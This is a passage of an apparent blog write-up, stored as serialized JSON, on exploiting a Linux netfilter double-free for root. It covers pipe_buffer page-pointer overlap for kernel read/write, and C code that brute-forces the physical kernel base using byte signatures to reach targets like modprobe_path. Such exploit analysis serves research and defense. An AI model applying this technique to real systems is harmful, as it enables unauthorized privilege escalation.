perror",{"type":23,"tag":213,"props":58313,"children":58314},{"style":220},[58315],{"type":28,"value":265},{"type":23,"tag":213,"props":58317,"children":58318},{"style":246},[58319],{"type":28,"value":57959},{"type":23,"tag":213,"props":58321,"children":58322},{"style":220},[58323],{"type":28,"value":2867},{"type":23,"tag":213,"props":58325,"children":58326},{"class":215,"line":3918},[58327],{"type":23,"tag":213,"props":58328,"children":58329},{"style":220},[58330],{"type":28,"value":2875},{"type":23,"tag":213,"props":58332,"children":58333},{"class":215,"line":3926},[58334],{"type":23,"tag":213,"props":58335,"children":58336},{"style":220},[58337],{"type":28,"value":58338},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":9693,"props":58340,"children":58342},{"id":58341},"using-pipe_buffer-page-pointer-for-physical-readwrite",[58343],{"type":28,"value":58344},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":58346,"children":58347},{},[58348,58350,58356,58357,58363,58364,58370,58372,58378],{"type":28,"value":58349},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":209,"props":58351,"children":58353},{"className":58352},[],[58354],{"type":28,"value":58355},"kmalloc-1k",{"type":28,"value":1466},{"type":23,"tag":209,"props":58358,"children":58360},{"className":58359},[],[58361],{"type":28,"value":58362},"overlap pipe_buffer",{"type":28,"value":21553},{"type":23,"tag":209,"props":58365,"children":58367},{"className":58366},[],[58368],{"type":28,"value":58369},"skbuf",{"type":28,"value":58371}," data to control the ",{"type":23,"tag":209,"props":58373,"children":58375},{"className":58374},[],[58376],{"type":28,"value":58377},"page",{"type":28,"value":58379}," field.",{"type":23,"tag":24,"props":58381,"children":58382},{},[58383,58384,58389,58391,58397,58399],{"type":28,"value":2623},{"type":23,"tag":209,"props":58385,"children":58387},{"className":58386},[],[58388],{"type":28,"value":58377},{"type":28,"value":58390}," field is a pointer into ",{"type":23,"tag":209,"props":58392,"children":58394},{"className":58393},[],[58395],{"type":28,"value":58396},"vmemmap_base",{"type":28,"value":58398},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":4009,"props":58400,"children":58402},{"alt":50631,"src":58401},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":58404,"children":58405},{},[58406,58408,58413],{"type":28,"value":58407},"This now allows us to navigate the ",{"type":23,"tag":209,"props":58409,"children":58411},{"className":58410},[],[58412],{"type":28,"value":58396},{"type":28,"value":58414}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":9693,"props":58416,"children":58418},{"id":58417},"bruteforce-physical-kernel-base",[58419],{"type":28,"value":58420},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":58422,"children":58423},{},[58424,58426,58432,58434,58439,58441,58447],{"type":28,"value":58425},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":209,"props":58427,"children":58429},{"className":58428},[],[58430],{"type":28,"value":58431},"modprobe_path",{"type":28,"value":58433},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":209,"props":58435,"children":58437},{"className":58436},[],[58438],{"type":28,"value":58396},{"type":28,"value":58440}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":209,"props":58442,"children":58444},{"className":58443},[],[58445],{"type":28,"value":58446},"PHYSICAL_ALIGN",{"type":28,"value":58448}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":202,"props":58450,"children":58452},{"className":29167,"code":58451,"language":29169,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[58453],{"type":23,"tag":209,"props":58454,"children":58455},{"__ignoreMap":7},[58456,58463,58471,58479,58503,58536,58556,58596,58603,58647,58681,58708,58744,58751,58797,58804,58834,58847,58912,58919,58931,58939,58946,58953,58979,58986,59006,59018,59025,59032,59039],{"type":23,"tag":213,"props":58457,"children":58458},{"class":215,"line":216},[58459],{"type":23,"tag":213,"props":58460,"children":58461},{"style":220},[58462],{"type":28,"value":10401},{"type":23,"tag":213,"props":58464,"children":58465},{"class":215,"line":226},[58466],{"type":23,"tag":213,"props":58467,"children":58468},{"style":220},[58469],{"type":28,"value":58470},"// Bruteforce phys-KASLR\n",{"type":23,"tag":213,"props":58472,"children":58473},{"class":215,"line":524},[58474],{"type":23,"tag":213,"props":58475,"children":58476},{"style":220},[58477],{"type":28,"value":58478}," uint64_t kernel_base;\n",{"type":23,"tag":213,"props":58480,"children":58481},{"class":215,"line":533},[58482,58486,58491,58495,58499],{"type":23,"tag":213,"props":58483,"children":58484},{"style":230},[58485],{"type":28,"value":46524},{"type":23,"tag":213,"props":58487,"children":58488},{"style":220},[58489],{"type":28,"value":58490}," found ",{"type":23,"tag":213,"props":58492,"children":58493},{"style":274},[58494],{"type":28,"value":3190},{"type":23,"tag":213,"props":58496,"children":58497},{"style":230},[58498],{"type":28,"value":9143},{"type":23,"tag":213,"props":58500,"children":58501},{"style":220},[58502],{"type":28,"value":313},{"type":23,"tag":213,"props":58504,"children":58505},{"class":215,"line":543},[58506,58511,58515,58520,58524,58528,58532],{"type":23,"tag":213,"props":58507,"children":58508},{"style":230},[58509],{"type":28,"value":58510}," uint8_t",{"type":23,"tag":213,"props":58512,"children":58513},{"style":268},[58514],{"type":28,"value":1064},{"type":23,"tag":213,"props":58516,"children":58517},{"style":220},[58518],{"type":28,"value":58519},"[PAGE_SIZE] ",{"type":23,"tag":213,"props":58521,"children":58522},{"style":274},[58523],{"type":28,"value":3190},{"type":23,"tag":213,"props":58525,"children":58526},{"style":220},[58527],{"type":28,"value":45268},{"type":23,"tag":213,"props":58529,"children":58530},{"style":514},[58531],{"type":28,"value":4116},{"type":23,"tag":213,"props":58533,"children":58534},{"style":220},[58535],{"type":28,"value":16629},{"type":23,"tag":213,"props":58537,"children":58538},{"class":215,"line":551},[58539,58543,58547,58552],{"type":23,"tag":213,"props":58540,"children":58541},{"style":257},[58542],{"type":28,"value":55559},{"type":23,"tag":213,"props":58544,"children":58545},{"style":220},[58546],{"type":28,"value":265},{"type":23,"tag":213,"props":58548,"children":58549},{"style":246},[58550],{"type":28,"value":58551},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":213,"props":58553,"children":58554},{"style":220},[58555],{"type":28,"value":2867},{"type":23,"tag":213,"props":58557,"children":58558},{"class":215,"line":570},[58559,58563,58567,58571,58575,58579,58583,58588,58592],{"type":23,"tag":213,"props":58560,"children":58561},{"style":1362},[58562],{"type":28,"value":3131},{"type":23,"tag":213,"props":58564,"children":58565},{"style":220},[58566],{"type":28,"value":400},{"type":23,"tag":213,"props":58568,"children":58569},{"style":230},[58570],{"type":28,"value":55687},{"type":23,"tag":213,"props":58572,"children":58573},{"style":220},[58574],{"type":28,"value":54597},{"type":23,"tag":213,"props":58576,"children":58577},{"style":274},[58578],{"type":28,"value":3190},{"type":23,"tag":213,"props":58580,"children":58581},{"style":514},[58582],{"type":28,"value":517},{"type":23,"tag":213,"props":58584,"children":58585},{"style":220},[58586],{"type":28,"value":58587},";; i",{"type":23,"tag":213,"props":58589,"children":58590},{"style":274},[58591],{"type":28,"value":51322},{"type":23,"tag":213,"props":58593,"children":58594},{"style":220},[58595],{"type":28,"value":2183},{"type":23,"tag":213,"props":58597,"children":58598},{"class":215,"line":655},[58599],{"type":23,"tag":213,"props":58600,"children":58601},{"style":220},[58602],{"type":28,"value":2725},{"type":23,"tag":213,"props":58604,"children":58605},{"class":215,"line":1176},[58606,58611,58615,58620,58624,58629,58633,58638,58642],{"type":23,"tag":213,"props":58607,"children":58608},{"style":220},[58609],{"type":28,"value":58610}," kernel_base ",{"type":23,"tag":213,"props":58612,"children":58613},{"style":274},[58614],{"type":28,"value":3190},{"type":23,"tag":213,"props":58616,"children":58617},{"style":514},[58618],{"type":28,"value":58619}," 0x40",{"type":23,"tag":213,"props":58621,"children":58622},{"style":274},[58623],{"type":28,"value":282},{"type":23,"tag":213,"props":58625,"children":58626},{"style":220},[58627],{"type":28,"value":58628}," ((PHYSICAL_ALIGN ",{"type":23,"tag":213,"props":58630,"children":58631},{"style":274},[58632],{"type":28,"value":1696},{"type":23,"tag":213,"props":58634,"children":58635},{"style":220},[58636],{"type":28,"value":58637}," i) ",{"type":23,"tag":213,"props":58639,"children":58640},{"style":274},[58641],{"type":28,"value":12843},{"type":23,"tag":213,"props":58643,"children":58644},{"style":220},[58645],{"type":28,"value":58646}," PAGE_SHIFT);\n",{"type":23,"tag":213,"props":58648,"children":58649},{"class":215,"line":1202},[58650,58655,58659,58663,58667,58672,58676],{"type":23,"tag":213,"props":58651,"children":58652},{"style":268},[58653],{"type":28,"value":58654}," pipebuf",{"type":23,"tag":213,"props":58656,"children":58657},{"style":220},[58658],{"type":28,"value":303},{"type":23,"tag":213,"props":58660,"children":58661},{"style":268},[58662],{"type":28,"value":58377},{"type":23,"tag":213,"props":58664,"children":58665},{"style":274},[58666],{"type":28,"value":511},{"type":23,"tag":213,"props":58668,"children":58669},{"style":220},[58670],{"type":28,"value":58671}," vmemmap_base ",{"type":23,"tag":213,"props":58673,"children":58674},{"style":274},[58675],{"type":28,"value":2703},{"type":23,"tag":213,"props":58677,"children":58678},{"style":220},[58679],{"type":28,"value":58680}," kernel_base;\n",{"type":23,"tag":213,"props":58682,"children":58683},{"class":215,"line":1758},[58684,58688,58692,58696,58700,58704],{"type":23,"tag":213,"props":58685,"children":58686},{"style":268},[58687],{"type":28,"value":58654},{"type":23,"tag":213,"props":58689,"children":58690},{"style":220},[58691],{"type":28,"value":303},{"type":23,"tag":213,"props":58693,"children":58694},{"style":268},[58695],{"type":28,"value":614},{"type":23,"tag":213,"props":58697,"children":58698},{"style":274},[58699],{"type":28,"value":511},{"type":23,"tag":213,"props":58701,"children":58702},{"style":514},[58703],{"type":28,"value":517},{"type":23,"tag":213,"props":58705,"children":58706},{"style":220},[58707],{"type":28,"value":313},{"type":23,"tag":213,"props":58709,"children":58710},{"class":215,"line":1767},[58711,58715,58719,58723,58727,58732,58736,58740],{"type":23,"tag":213,"props":58712,"children":58713},{"style":268},[58714],{"type":28,"value":58654},{"type":23,"tag":213,"props":58716,"children":58717},{"style":220},[58718],{"type":28,"value":303},{"type":23,"tag":213,"props":58720,"children":58721},{"style":268},[58722],{"type":28,"value":9225},{"type":23,"tag":213,"props":58724,"children":58725},{"style":274},[58726],{"type":28,"value":511},{"type":23,"tag":213,"props":58728,"children":58729},{"style":220},[58730],{"type":28,"value":58731}," PAGE_SIZE ",{"type":23,"tag":213,"props":58733,"children":58734},{"style":274},[58735],{"type":28,"value":2703},{"type":23,"tag":213,"props":58737,"children":58738},{"style":514},[58739],{"type":28,"value":4618},{"type":23,"tag":213,"props":58741,"children":58742},{"style":220},[58743],{"type":28,"value":313},{"type":23,"tag":213,"props":58745,"children":58746},{"class":215,"line":1789},[58747],{"type":23,"tag":213,"props":58748,"children":58749},{"style":220},[58750],{"type":28,"value":10401},{"type":23,"tag":213,"props":58752,"children":58753},{"class":215,"line":1812},[58754,58759,58763,58767,58771,58775,58780,58784,58789,58793],{"type":23,"tag":213,"props":58755,"children":58756},{"style":220},[58757],{"type":28,"value":58758}," for (",{"type":23,"tag":213,"props":58760,"children":58761},{"style":230},[58762],{"type":28,"value":19100},{"type":23,"tag":213,"props":58764,"children":58765},{"style":268},[58766],{"type":28,"value":8708},{"type":23,"tag":213,"props":58768,"children":58769},{"style":274},[58770],{"type":28,"value":511},{"type":23,"tag":213,"props":58772,"children":58773},{"style":514},[58774],{"type":28,"value":517},{"type":23,"tag":213,"props":58776,"children":58777},{"style":220},[58778],{"type":28,"value":58779},"; j ",{"type":23,"tag":213,"props":58781,"children":58782},{"style":274},[58783],{"type":28,"value":434},{"type":23,"tag":213,"props":58785,"children":58786},{"style":220},[58787],{"type":28,"value":58788}," PIPE_SPRAY; j",{"type":23,"tag":213,"props":58790,"children":58791},{"style":274},[58792],{"type":28,"value":51322},{"type":23,"tag":213,"props":58794,"children":58795},{"style":220},[58796],{"type":28,"value":2183},{"type":23,"tag":213,"props":58798,"children":58799},{"class":215,"line":1838},[58800],{"type":23,"tag":213,"props":58801,"children":58802},{"style":220},[58803],{"type":28,"value":31715},{"type":23,"tag":213,"props":58805,"children":58806},{"class":215,"line":1851},[58807,58812,58816,58820,58825,58829],{"type":23,"tag":213,"props":58808,"children":58809},{"style":257},[58810],{"type":28,"value":58811}," memset",{"type":23,"tag":213,"props":58813,"children":58814},{"style":220},[58815],{"type":28,"value":265},{"type":23,"tag":213,"props":58817,"children":58818},{"style":274},[58819],{"type":28,"value":405},{"type":23,"tag":213,"props":58821,"children":58822},{"style":220},[58823],{"type":28,"value":58824},"data, ",{"type":23,"tag":213,"props":58826,"children":58827},{"style":514},[58828],{"type":28,"value":4116},{"type":23,"tag":213,"props":58830,"children":58831},{"style":220},[58832],{"type":28,"value":58833},", PAGE_SIZE);\n",{"type":23,"tag":213,"props":58835,"children":58836},{"class":215,"line":1864},[58837,58842],{"type":23,"tag":213,"props":58838,"children":58839},{"style":230},[58840],{"type":28,"value":58841}," int",{"type":23,"tag":213,"props":58843,"children":58844},{"style":220},[58845],{"type":28,"value":58846}," count;\n",{"type":23,"tag":213,"props":58848,"children":58849},{"class":215,"line":1890},[58850,58855,58860,58864,58869,58873,58878,58883,58887,58891,58895,58900,58904,58908],{"type":23,"tag":213,"props":58851,"children":58852},{"style":1362},[58853],{"type":28,"value":58854}," if",{"type":23,"tag":213,"props":58856,"children":58857},{"style":220},[58858],{"type":28,"value":58859}," (count ",{"type":23,"tag":213,"props":58861,"children":58862},{"style":274},[58863],{"type":28,"value":3190},{"type":23,"tag":213,"props":58865,"children":58866},{"style":257},[58867],{"type":28,"value":58868}," read",{"type":23,"tag":213,"props":58870,"children":58871},{"style":220},[58872],{"type":28,"value":265},{"type":23,"tag":213,"props":58874,"children":58875},{"style":268},[58876],{"type":28,"value":58877},"pfd",{"type":23,"tag":213,"props":58879,"children":58880},{"style":220},[58881],{"type":28,"value":58882},"[j][",{"type":23,"tag":213,"props":58884,"children":58885},{"style":514},[58886],{"type":28,"value":4116},{"type":23,"tag":213,"props":58888,"children":58889},{"style":220},[58890],{"type":28,"value":23108},{"type":23,"tag":213,"props":58892,"children":58893},{"style":274},[58894],{"type":28,"value":405},{"type":23,"tag":213,"props":58896,"children":58897},{"style":220},[58898],{"type":28,"value":58899},"data, PAGE_SIZE) ",{"type":23,"tag":213,"props":58901,"children":58902},{"style":274},[58903],{"type":28,"value":434},{"type":23,"tag":213,"props":58905,"children":58906},{"style":514},[58907],{"type":28,"value":517},{"type":23,"tag":213,"props":58909,"children":58910},{"style":220},[58911],{"type":28,"value":2183},{"type":23,"tag":213,"props":58913,"children":58914},{"class":215,"line":1899},[58915],{"type":23,"tag":213,"props":58916,"children":58917},{"style":220},[58918],{"type":28,"value":31751},{"type":23,"tag":213,"props":58920,"children":58921},{"class":215,"line":1912},[58922,58927],{"type":23,"tag":213,"props":58923,"children":58924},{"style":1362},[58925],{"type":28,"value":58926}," continue",{"type":23,"tag":213,"props":58928,"children":58929},{"style":220},[58930],{"type":28,"value":313},{"type":23,"tag":213,"props":58932,"children":58933},{"class":215,"line":1921},[58934],{"type":23,"tag":213,"props":58935,"children":58936},{"style":220},[58937],{"type":28,"value":58938}," }\n",{"type":23,"tag":213,"props":58940,"children":58941},{"class":215,"line":3879},[58942],{"type":23,"tag":213,"props":58943,"children":58944},{"style":220},[58945],{"type":28,"value":10401},{"type":23,"tag":213,"props":58947,"children":58948},{"class":215,"line":3887},[58949],{"type":23,"tag":213,"props":58950,"children":58951},{"emptyLinePlaceholder":18},[58952],{"type":28,"value":530},{"type":23,"tag":213,"props":58954,"children":58955},{"class":215,"line":3918},[58956,58961,58966,58970,58974],{"type":23,"tag":213,"props":58957,"children":58958},{"style":220},[58959],{"type":28,"value":58960}," if (",{"type":23,"tag":213,"props":58962,"children":58963},{"style":290},[58964],{"type":28,"value":58965},"is_kernel_base",{"type":23,"tag":213,"props":58967,"children":58968},{"style":220},[58969],{"type":28,"value":265},{"type":23,"tag":213,"props":58971,"children":58972},{"style":290},[58973],{"type":28,"value":3791},{"type":23,"tag":213,"props":58975,"children":58976},{"style":220},[58977],{"type":28,"value":58978},")) // [1] identify kernel base\n",{"type":23,"tag":213,"props":58980,"children":58981},{"class":215,"line":3926},[58982],{"type":23,"tag":213,"props":58983,"children":58984},{"style":220},[58985],{"type":28,"value":31751},{"type":23,"tag":213,"props":58987,"children":58988},{"class":215,"line":3986},[58989,58994,58998,59002],{"type":23,"tag":213,"props":58990,"children":58991},{"style":220},[58992],{"type":28,"value":58993}," found ",{"type":23,"tag":213,"props":58995,"children":58996},{"style":274},[58997],{"type":28,"value":3190},{"type":23,"tag":213,"props":58999,"children":59000},{"style":230},[59001],{"type":28,"value":12551},{"type":23,"tag":213,"props":59003,"children":59004},{"style":220},[59005],{"type":28,"value":313},{"type":23,"tag":213,"props":59007,"children":59008},{"class":215,"line":9132},[59009,59014],{"type":23,"tag":213,"props":59010,"children":59011},{"style":1362},[59012],{"type":28,"value":59013}," break",{"type":23,"tag":213,"props":59015,"children":59016},{"style":220},[59017],{"type":28,"value":313},{"type":23,"tag":213,"props":59019,"children":59020},{"class":215,"line":9150},[59021],{"type":23,"tag":213,"props":59022,"children":59023},{"style":220},[59024],{"type":28,"value":58938},{"type":23,"tag":213,"props":59026,"children":59027},{"class":215,"line":9195},[59028],{"type":23,"tag":213,"props":59029,"children":59030},{"style":220},[59031],{"type":28,"value":3444},{"type":23,"tag":213,"props":59033,"children":59034},{"class":215,"line":9301},[59035],{"type":23,"tag":213,"props":59036,"children":59037},{"emptyLinePlaceholder":18},[59038],{"type":28,"value":530},{"type":23,"tag":213,"props":59040,"children":59041},{"class":215,"line":23557},[59042],{"type":23,"tag":213,"props":59043,"children":59044},{"style":220},[59045],{"type":28,"value":10401},{"type":23,"tag":24,"props":59047,"children":59048},{},[59049,59051,59055,59057,59063,59065,59069],{"type":28,"value":59050},"Notice that at ",{"type":23,"tag":213,"props":59052,"children":59053},{},[59054],{"type":28,"value":4106},{"type":28,"value":59056}," we call the ",{"type":23,"tag":209,"props":59058,"children":59060},{"className":59059},[],[59061],{"type":28,"value":59062},"is_kernel_base()",{"type":28,"value":59064}," function. This is a function based on lau's exploit ",{"type":23,"tag":213,"props":59066,"children":59067},{},[59068],{"type":28,"value":18159},{"type":28,"value":59070}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":202,"props":59072,"children":59074},{"className":29167,"code":59073,"language":29169,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[59075],{"type":23,"tag":209,"props":59076,"children":59077},{"__ignoreMap":7},[59078,59085,59115,59122,59130,59137,59145,59216,59278,59293,59300,59308,59376,59438,59499,59560,59622,59684,59745,59806,59867,59928,59989,60004,60011,60026,60033],{"type":23,"tag":213,"props":59079,"children":59080},{"class":215,"line":216},[59081],{"type":23,"tag":213,"props":59082,"children":59083},{"style":220},[59084],{"type":28,"value":10401},{"type":23,"tag":213,"props":59086,"children":59087},{"class":215,"line":226},[59088,59093,59098,59103,59107,59111],{"type":23,"tag":213,"props":59089,"children":59090},{"style":220},[59091],{"type":28,"value":59092},"static bool is_kernel_base(",{"type":23,"tag":213,"props":59094,"children":59095},{"style":230},[59096],{"type":28,"value":59097},"unsigned",{"type":23,"tag":213,"props":59099,"children":59100},{"style":230},[59101],{"type":28,"value":59102}," char",{"type":23,"tag":213,"props":59104,"children":59105},{"style":230},[59106],{"type":28,"value":282},{"type":23,"tag":213,"props":59108,"children":59109},{"style":268},[59110],{"type":28,"value":30742},{"type":23,"tag":213,"props":59112,"children":59113},{"style":220},[59114],{"type":28,"value":2183},{"type":23,"tag":213,"props":59116,"children":59117},{"class":215,"line":524},[59118],{"type":23,"tag":213,"props":59119,"children":59120},{"style":220},[59121],{"type":28,"value":10964},{"type":23,"tag":213,"props":59123,"children":59124},{"class":215,"line":533},[59125],{"type":23,"tag":213,"props":59126,"children":59127},{"style":537},[59128],{"type":28,"value":59129}," // thanks lau :)\n",{"type":23,"tag":213,"props":59131,"children":59132},{"class":215,"line":543},[59133],{"type":23,"tag":213,"props":59134,"children":59135},{"emptyLinePlaceholder":18},[59136],{"type":28,"value":530},{"type":23,"tag":213,"props":59138,"children":59139},{"class":215,"line":551},[59140],{"type":23,"tag":213,"props":59141,"children":59142},{"style":537},[59143],{"type":28,"value":59144}," // get-sig kernel_runtime_1\n",{"type":23,"tag":213,"props":59146,"children":59147},{"class":215,"line":570},[59148,59152,59156,59161,59166,59170,59175,59179,59183,59188,59192,59196,59200,59204,59208,59212],{"type":23,"tag":213,"props":59149,"children":59150},{"style":1362},[59151],{"type":28,"value":2653},{"type":23,"tag":213,"props":59153,"children":59154},{"style":220},[59155],{"type":28,"value":400},{"type":23,"tag":213,"props":59157,"children":59158},{"style":257},[59159],{"type":28,"value":59160},"memcmp",{"type":23,"tag":213,"props":59162,"children":59163},{"style":220},[59164],{"type":28,"value":59165},"(addr ",{"type":23,"tag":213,"props":59167,"children":59168},{"style":274},[59169],{"type":28,"value":2703},{"type":23,"tag":213,"props":59171,"children":59172},{"style":514},[59173],{"type":28,"value":59174}," 0x0",{"type":23,"tag":213,"props":59176,"children":59177},{"style":220},[59178],{"type":28,"value":424},{"type":23,"tag":213,"props":59180,"children":59181},{"style":246},[59182],{"type":28,"value":20114},{"type":23,"tag":213,"props":59184,"children":59185},{"style":48425},[59186],{"type":28,"value":59187},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":213,"props":59189,"children":59190},{"style":246},[59191],{"type":28,"value":20114},{"type":23,"tag":213,"props":59193,"children":59194},{"style":220},[59195],{"type":28,"value":424},{"type":23,"tag":213,"props":59197,"children":59198},{"style":514},[59199],{"type":28,"value":18159},{"type":23,"tag":213,"props":59201,"children":59202},{"style":220},[59203],{"type":28,"value":298},{"type":23,"tag":213,"props":59205,"children":59206},{"style":274},[59207],{"type":28,"value":8660},{"type":23,"tag":213,"props":59209,"children":59210},{"style":514},[59211],{"type":28,"value":517},{"type":23,"tag":213,"props":59213,"children":59214},{"style":274},[59215],{"type":28,"value":52737},{"type":23,"tag":213,"props":59217,"children":59218},{"class":215,"line":655},[59219,59224,59228,59232,59237,59241,59245,59250,59254,59258,59262,59266,59270,59274],{"type":23,"tag":213,"props":59220,"children":59221},{"style":257},[59222],{"type":28,"value":59223}," memcmp",{"type":23,"tag":213,"props":59225,"children":59226},{"style":220},[59227],{"type":28,"value":59165},{"type":23,"tag":213,"props":59229,"children":59230},{"style":274},[59231],{"type":28,"value":2703},{"type":23,"tag":213,"props":59233,"children":59234},{"style":514},[59235],{"type":28,"value":59236}," 0x7",{"type":23,"tag":213,"props":59238,"children":59239},{"style":220},[59240],{"type":28,"value":424},{"type":23,"tag":213,"props":59242,"children":59243},{"style":246},[59244],{"type":28,"value":20114},{"type":23,"tag":213,"props":59246,"children":59247},{"style":48425},[59248],{"type":28,"value":59249},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":213,"props":59251,"children":59252},{"style":246},[59253],{"type":28,"value":20114},{"type":23,"tag":213,"props":59255,"children":59256},{"style":220},[59257],{"type":28,"value":424},{"type":23,"tag":213,"props":59259,"children":59260},{"style":514},[59261],{"type":28,"value":54724},{"type":23,"tag":213,"props":59263,"children":59264},{"style":220},[59265],{"type":28,"value":298},{"type":23,"tag":213,"props":59267,"children":59268},{"style":274},[59269],{"type":28,"value":8660},{"type":23,"tag":213,"props":59271,"children":59272},{"style":514},[59273],{"type":28,"value":517},{"type":23,"tag":213,"props":59275,"children":59276},{"style":220},[59277],{"type":28,"value":2183},{"type":23,"tag":213,"props":59279,"children":59280},{"class":215,"line":1176},[59281,59285,59289],{"type":23,"tag":213,"props":59282,"children":59283},{"style":1362},[59284],{"type":28,"value":2839},{"type":23,"tag":213,"props":59286,"children":59287},{"style":230},[59288],{"type":28,"value":12551},{"type":23,"tag":213,"props":59290,"children":59291},{"style":220},[59292],{"type":28,"value":313},{"type":23,"tag":213,"props":59294,"children":59295},{"class":215,"line":1202},[59296],{"type":23,"tag":213,"props":59297,"children":59298},{"emptyLinePlaceholder":18},[59299],{"type":28,"value":530},{"type":23,"tag":213,"props":59301,"children":59302},{"class":215,"line":1758},[59303],{"type":23,"tag":213,"props":59304,"children":59305},{"style":537},[59306],{"type":28,"value":59307}," // get-sig kernel_runtime_2\n",{"type":23,"tag":213,"props":59309,"children":59310},{"class":215,"line":1767},[59311,59315,59319,59323,59327,59331,59335,59339,59343,59348,59352,59356,59360,59364,59368,59372],{"type":23,"tag":213,"props":59312,"children":59313},{"style":1362},[59314],{"type":28,"value":2653},{"type":23,"tag":213,"props":59316,"children":59317},{"style":220},[59318],{"type":28,"value":400},{"type":23,"tag":213,"props":59320,"children":59321},{"style":257},[59322],{"type":28,"value":59160},{"type":23,"tag":213,"props":59324,"children":59325},{"style":220},[59326],{"type":28,"value":59165},{"type":23,"tag":213,"props":59328,"children":59329},{"style":274},[59330],{"type":28,"value":2703},{"type":23,"tag":213,"props":59332,"children":59333},{"style":514},[59334],{"type":28,"value":59174},{"type":23,"tag":213,"props":59336,"children":59337},{"style":220},[59338],{"type":28,"value":424},{"type":23,"tag":213,"props":59340,"children":59341},{"style":246},[59342],{"type":28,"value":20114},{"type":23,"tag":213,"props":59344,"children":59345},{"style":48425},[59346],{"type":28,"value":59347},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":213,"props":59349,"children":59350},{"style":246},[59351],{"type":28,"value":20114},{"type":23,"tag":213,"props":59353,"children":59354},{"style":220},[59355],{"type":28,"value":424},{"type":23,"tag":213,"props":59357,"children":59358},{"style":514},[59359],{"type":28,"value":17578},{"type":23,"tag":213,"props":59361,"children":59362},{"style":220},[59363],{"type":28,"value":298},{"type":23,"tag":213,"props":59365,"children":59366},{"style":274},[59367],{"type":28,"value":8660},{"type":23,"tag":213,"props":59369,"children":59370},{"style":514},[59371],{"type":28,"value":517},{"type":23,"tag":213,"props":59373,"children":59374},{"style":274},[59375],{"type":28,"value":52737},{"type":23,"tag":213,"props":59377,"children":59378},{"class":215,"line":1789},[59379,59383,59387,59391,59396,59400,59404,59409,59413,59417,59422,59426,59430,59434],{"type":23,"tag":213,"props":59380,"children":59381},{"style":257},[59382],{"type":28,"value":59223},{"type":23,"tag":213,"props":59384,"children":59385},{"style":220},[59386],{"type":28,"value":59165},{"type":23,"tag":213,"props":59388,"children":59389},{"style":274},[59390],{"type":28,"value":2703},{"type":23,"tag":213,"props":59392,"children":59393},{"style":514},[59394],{"type":28,"value":59395}," 